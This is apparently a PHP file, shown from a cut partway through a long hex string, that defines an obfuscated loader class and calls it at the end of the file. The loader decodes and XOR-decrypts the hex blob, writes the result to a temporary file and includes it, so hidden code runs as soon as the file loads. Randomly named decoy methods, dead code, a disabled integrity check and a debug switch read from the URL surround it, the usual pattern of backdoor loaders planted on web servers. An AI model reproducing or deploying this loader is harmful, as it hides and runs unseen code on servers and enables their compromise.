393c897b5e6cc350d706232895ee23baf7f59b39cf20ff9fab773c094aa53057c6eb18223d15cf556c516cd4dfdc9217f99ab78a27d4afa652fe98ed316525fd9fa9ad7776c77f8351f9cfdb03beff30e5ba16bca3d131f3c277e15727f12f1c3791bfaee534d23c6c3f7a4b45f807e9b2f93a3cf397e946980377d4c7bd99142b7c1ff05a101f6e035642ecc665c5bf4bfe63587da4b5360580d1934afe9ea138ba53d3a36d38beebce57f445abf90dba5e3fb4598a6570bcfaf3cac8f2e5ed4f8c04babcaca358b2b9638a5fd7b1fed69692687d158e7ff920b3d9ad99ce6d1e36d554f5531e496e3393d47eda45eeac547e536079e95fd737df0df35662f34fe6617e46ab3336359d4cb211ed2d1194897aff19d61167d09f7d7aae8bcddbb1e29b47772e663213c4b167781bbd0b86efcc063fff4cf35f9091758ccab81b2f6affd43a69385e44424ece7ca52501fa82ff96bbf80375e2f15b3e8f35a0fba8d802b30863528b3216e39866123d93736eca4f4bc2edbfb975ebaa1279cffbbef79cb2f0cfd36be63b17022bd6c94d32f3d137e6a7174f0a74bc45dc05efbcea71c8b4e35734c38e49d65dab5d9499f75db437b19f1c46f58b5e52ac2d6b650780a067e4aeb83b1c399b4f719f805ce732cc05bb3279295912e2fa2d8f20bb55d3cec59b487f3711db4adc104471fb1c1c911b10627d09e0959a6ab806157fee46fb9a91a78562106e6c45f279ceafdfb333ac4f00fcd038dddeabde1aa9339f0acd981f6f4e30fdd4370a479c0d92e9cd27c23d70cb9c3833496e3e7c80db0256097913ef5bfeb06c7df6da1b5cd83eb26e7a1878a775135a7e1b50a30b9d8bcf5ec311a5ec86c15377bfde89714c79b2d7f938f8b897fb8dc486a28ba4d00eff01453fc2bedd73dc635d328775627ff068724b5c973dbd089e9fecc36953df9ad8efffb73f68e29a9657dd0a5e894c89fe3bd83d6e374c72ec9abdf3327be278cce5cd47fac19b2995aedd4e2bea7d1907bd771644519f5f5dce19e3f8d5e9c0f6debe2e27acd4dedc467279f9c81333d9b9d6985d36e38a3249b1f689f2ca54f59015ff477fcf69eaf0fd6937fd93be34357735c2bb35a71486f4c00ab178884ad3d4f98e6604ca59d3bc46e0d3b9cfafe661d9fc46e7ed22d1a8f372a59584c22e4ed97805dc08e1e812f50adc7ca0bc406e77c426de2ffafb66b694f5559a23f2883e02bdb0cee80370d3408088a3385d8bc141513c05f7fbb8024666f5f677fe7cc323120d2556b55ad55f5685e78389f8ac3bd5e55bbf004dcccdacee4525c2ba1be3a01c75840ac7afcbdee1f0fcd33e81defcff9b9a23fb8157b67c9c8c2fddc54a7f8284a1cdcdbb5eb0cde04d6b9d1ab7e1206773473fda3bcd8d2f7e76444148b06328779b35f70ac630d799639acb605e64e85c6960c8308a3633bf0579bf0f6ef43ac12e6bb9ce9b89a3ad2226efa0b49abf530ded9844c75cb02adbb067eb3d03d1662cd88a043e1938a5bc83b7b391883bfb1d1e6ada705e5736ee3033bc73bb0a35777c83b2ba7cdfb160ec80066a35ed7238529aab9ab18891382f77b78143733e3baf9a35e54cce37c235046dad477ba33b7226878fe7d1a2f9c22ee44fa192d1bed6405f6d75b9966076baea9bb147bcc8ea02e063a075b10ecf0b3afc9d905d1a5fff03d38c19ed52c95ac80607b7192e366dee00be282b52a73ab808430f7788f6a7ab6b9e883978dc02f551b6d98814b71f682c04c4c5fe1f8b1a0db85b994d565c0d23fec626fceafe66d8a0f6e3ceb01d36fe6fc9c40cbb6db349a9f947c787c7ee4e6d240adb044b9e63cb477afd7ea489f33c0414bfddd3fe5badf87ec4dbbf5ac36d84568ea7c99c406e9c2f51859b69ada865611c5943d29a0d1b7f58ad88e00ef1b370ab113f8e05f7052abc6c422d735f5d18272a95b7a97d325fdceb9960dfc321e214754f9afdc4c3c74de65199d02d8ff7334ddec919c75782b7d01cf10d6b8e8b064c6b1ca52f8e35891e8489ab9316cf83e0f68b69bebcca0c64531829aa05221564663ef9377629fce39ba4671a24982bdbe1dae3987395cededdebc4e38c3a7f1faab47c932db391f7c70b3ef1ea5d6a3b931cd0ec871970a70e70152d69b5c989cf21cbce55a256ee7532eee7a05bc3fefad56ece2e68cb53f737dd76f148b673db100bb54225f795a029ce9cb07564cf9de1eb4c74bcb954183419f01fd8fd6a72ee0f13ac50d8de61ff7d669d9f4d2fd98c4aa41b9eb23d759341809f236ccebe43dca0147732cd0ef535ba55006904ff7ee94855dc0efeb684c896fa1530e1e7df9b3ee3d3731e7f513b2cc880c70558046e68d8d294fe2d9a55f5b9a0a9e212e4d9bbacb3fad8b490fe4e0dfb5a051e7799892588d0ade989d79451c9fa7678b880eeb613e5443abab3df52846ea38e09d73daf6c052abd1533c8229d675299ad35d2a97c39e46f23dbdfe0b27906491f9be31a579a1a91d777371b6053d3f14ef38af773566e798a2d3eaea937ac888bd45a291723fe7fd949ed3914ac334c5feb29ab985fedf9d9f6f0dd39f7a65bf9d996d8f3c16f46f2e9c9fadcc2f7a6f892be83cc30551104daaf1b3c9effebeb6512f6cb51e9aeadceb3c43fe2f2711c1aba820cb9271d46bf34244f6d8119f81cf69a0df811c3cbfc04b1a4f0a6227925b025f08e70ff0539afe9b3a52f9c07353c69417a52f0bae300d27d734e24526b186a8bf98753e57ca31bee6d4ffa23c2b761de6c395b347f876a7f3a68443f09f9cd3f8dde0e899ab73ac65e54615bfebd7ac234d7498ed98181b2f6a671d7133a9ef298b81ce225977021d7606a1b2992d7cc683ffaabeb3c67110394c5a1b6590b8d3f00fdd93c68db3b7245839f3b1cc27d94caf5d4defdfd6baff897b5d43e5dddd2335bbab1adacdb76641758a19d4b8704f8c4d07fa4cf6c8ee8fe6fa677d94de3766d997e954041c32d422ca8eea5763394fa1b75b9b82447f53ab64e511a70baffa44f0f76c5af474d7ddc38e03a51e75732751837b43b78ac1c3f16f9c8536be458513fb5b4e606a1a7742c40f2d883b6166f7c3bae439e0a7a79d6dd4d8349557d2f4313a5dda1dac7cde2f498c4a7cf1eade572d002781827ae20f5f41b31fbd06ad544ea49272e42a7c9f25416a27e46541f19f4a79a3099a12abd3d0def126fd935ac0453fed390e9949581d5cd2a58543ccfe56f7ffe10f8618dfec1178f1b3ddcf9a1dbd3733cb0b3d52bff01b5c07c584e2deaf185f4bb59bc9ce02ee6dbe8a29ff81d80b7ef4beb7b237222738c65cede71b55a01c3b3d162be0a7db736d9e68a05eb0e55aafbcebd488729d9ebede10b9fdccb7eef677ef72e7af87bde58508f5aafe650d603b775f025d74a1937cfb16975398d729f57fd394b4cfad2f0b455fbb701da853d0f8b65c5ba9a025692232850d73cc280e19c14c4c83d989b0470d5dca3f03df072fdc1956de513e9522cfd6f5b894514699b807fb4f617f96d53eb7b29b3190aac95ac42fae33fc9015eeb02cdd15e2ab9f7dc0cb5aeacffadb0bb290a0c70b7f2512ca7f2e7b151dd2eeff9185665ef47e110d79d5f159c47dea2d83372e1e6e746117ea9b4857a7fe0ef2366a664d041edbcc42b4bb9e78ef692966973d50040dcebc2f8cce15a23a1b6b93b46ce67eddc859357838ce626f870ffc02fcf972ff4eaf4dcc15c4b32c223e9e58eebb3a8f165ccd12984f78adefdce9d2389519dde673ddbb4331e4165baa4e319207b1aa9bcbe67242f6e93b1427420af35040ebb1efeabdcfaa4d30f00593215bad1abf4b7cb9e27857946ac963dbb9451bd9c629762906d9f6f6e603f12d3c0df75c34ec7d614b7a1d64bb2caa9970c5913df4353fe716896d8fbff32163427328e8b89ee57a0c1ea8b69fb51d56aae5a3492dd27bc247c5819a9da186f360fa377edaef1d55479a4fd1e9cdb344232e6932083618f496093b7566e291af7b168a2ddcf0ed9ff3136d23a2a922ce59ddc3916a63e837ae9df96b3c716ffb83bf629578ad8f31ce8d1bb50d5c33ec59ac42e8941fc4d4df6036ffe5c8d7fd735d6dd0a571d454fba9c0b11683b32cf278940b71781b23b5def2977fe95937fb42279b00fc661f9dff74cff1dc1ab4e193388079eb693b4726c0948bbf703ff63319313da733f3110ee8b4bedd6534aed5a647d9cefda2987eba9c074791e210d50ea2e9147b8a903e61ce507d8ac9758f8d55b6046e26c8b59bd018ff4b83b92b95d8972d9fd7087b746b31136bf0f2bcaaeb3eaa6f6a23ba1842f1e88b92bc0e303b5e353ae2764e233d0b15cd3f6433a3ef50e3bd2c4924805e99be6f7f7b4e3173bb6677d593ffa07ffbb7d90ca8ed3bbba9c95a4f6aff0e161b04bf54db32f579b93733fa9b4a614af18e2bc4bd7b71f4da8c81bf79d673a346a66991be58e659a72989697e2e1bdded2333f0a4e3fbf2214edbedbe89c643dcf8b3d85888c9588dd2a9df4718b88c6a8f139cf83b45c00791e67a9fe23f4d1867325b42cde197c30707a51eba4dceb2ac39f2683cfddc8f5e83172e58ae67f9f8018e3198c4b9ac245e2c4e4304678e5e27922c36d1ed5e21f3f93bcd8d438aaf4d5c31eca75fe66fcf29666e9ed3c3b242bc71c3b3fa9b27e59e477ad59cd3419e34f12d0deff48399778eaf427d60a51acc9ac8c2779d58c5dc79bd1747032da9bcbf79d63ffc18f43de062ebc457ee1af123e5dbdbd7e21d3369750ed033922a7c54cb6237e561bf4e74de336250397e9e0c46b3f956ac95b9eb1bf5783a19e4994cd006f644ce6ad0460cb3fb3afc8b9ea11fbd02c83f173dd229eccbf12e7a459a9c756a77c901bed66237514aaf406c0e3ebd6db33bd7f2a76f1beebacefbe4566c347ed7bfe753f4b085d67a5c29177d60492ad3e77690d9c68b96514c311292b16244d857057fd3e237a3f0154998ca1199351a8c9d209c68a6ab864723ad1ed146889ff30fbecf76f799ccfedcedf5b464d3677366c1bd7d4831eece7671942c0efc258729073d715263a1adef2ca2d7de3a7b2dd69b059acf3d7ab5c513f48cfccd03bc7e403e7d6ddf39b8fb0ccd2514fbe7a9c11c55f07c9feb4328a68978275c69ed5c8292c6a6145bec4b8b775e9f7d460ac28d8757ec82597bd5615dba4bae1f3d39716518a721c5d1177289f8db8ca81f31f176fed1456630215676616ed1595f06f42e0578d8653c6531e8df3093f5a4c492b95314d378bdd01dc634e57ff9b971a45059b2a53130f436983e374957492aa80921666965a8cc36e24c62343e1fa91556d63386e6ed72a05ade455e7209f3d1cf08c8cddfbfeaca673c8bde2b51aa1ef053ca695f33deb14e13d0460c465ae391cedcfffd1f';
$hex_data = substr($hex_data, 10);
$bin_data = hex2bin($hex_data);
$step1 = @gzinflate($bin_data);
if ($step1 === false) { $step1 = $bin_data; }
$step2 = base64_decode($step1);
$obj = new self();
$final_key = '';
$key_methods = ['kmTurJcN86', 'kmWiilJF79', 'kmGDotYI22', 'kmqZlZXA39'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
$gate_token = '';
$gate_methods = ['gtYJnnxT49', 'gtqFSiCL77', 'gtMhhRnz35'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== 'e5f941e396bda7f5c23b75150e73c319') {
// Integrity check failed, but continuing for compatibility.
// return false;
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
$plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $step2;
}
$obj->_execute_fGVwggXW53($plain_code);
}
private function gtMhhRnz35() {
// Gate piece 3
$jv1 = 6914;
return str_rot13('g0wy');
}
public function pubExTRI24() {
// Public method 1
$jv2 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return 'valzKmE51';
}
private function dcdDONxr16() {
$jv2 = array_reverse(explode('.', 'a.b.c.d'));
return null;
}
private function dcGMTbpU88() {
for($jv1=0; $jv1<2; $jv1++) {}
return null;
}
private function kmGDotYI22() {
// Key segment 3
$jv2 = (bool)mt_rand(0,1);
$buf = unpack('L', hash('crc32', microtime(), true));
return base64_decode('V0R2');
}
public function pubynnNb41() {
// Public method 2
$jv1 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
$jv2 = 7926;
return 'valeDyS12';
}
private function kmqZlZXA39() {
// Key segment 4
$buf = unpack('L', hash('crc32', microtime(), true));
return base64_decode('a0FC');
}
private function gtqFSiCL77() {
// Gate piece 2
$buf = (bool)mt_rand(0,1);
return str_rot13('vmjh');
}
private function _execute_fGVwggXW53($code) {
// Robust execution handler (PHP 5.x+ compatible)
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo '<b>DEBUG MODE ACTIVE</b><br>';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, '<?php ' . $code);
fseek($tmp_file, 0);
include $tmp_file_path;
fclose($tmp_file);
}
private function gtYJnnxT49() {
// Gate piece 1
$jv3 = 2220;
return str_rot13('8f4kl');
}
private function dcTjpmFF57() {
$tmp = unpack('L', hash('crc32', microtime(), true));
$tmp = (bool)mt_rand(0,1);
return null;
}
public function pubdbOgw84() {
// Public method 3
if (75 > 50) {
$jv2 = 'branch_a';
} else {
$jv2 = 'branch_b';
}
return 'valSANW33';
}
}
LoaderPMygZK91575::init933();
// EOF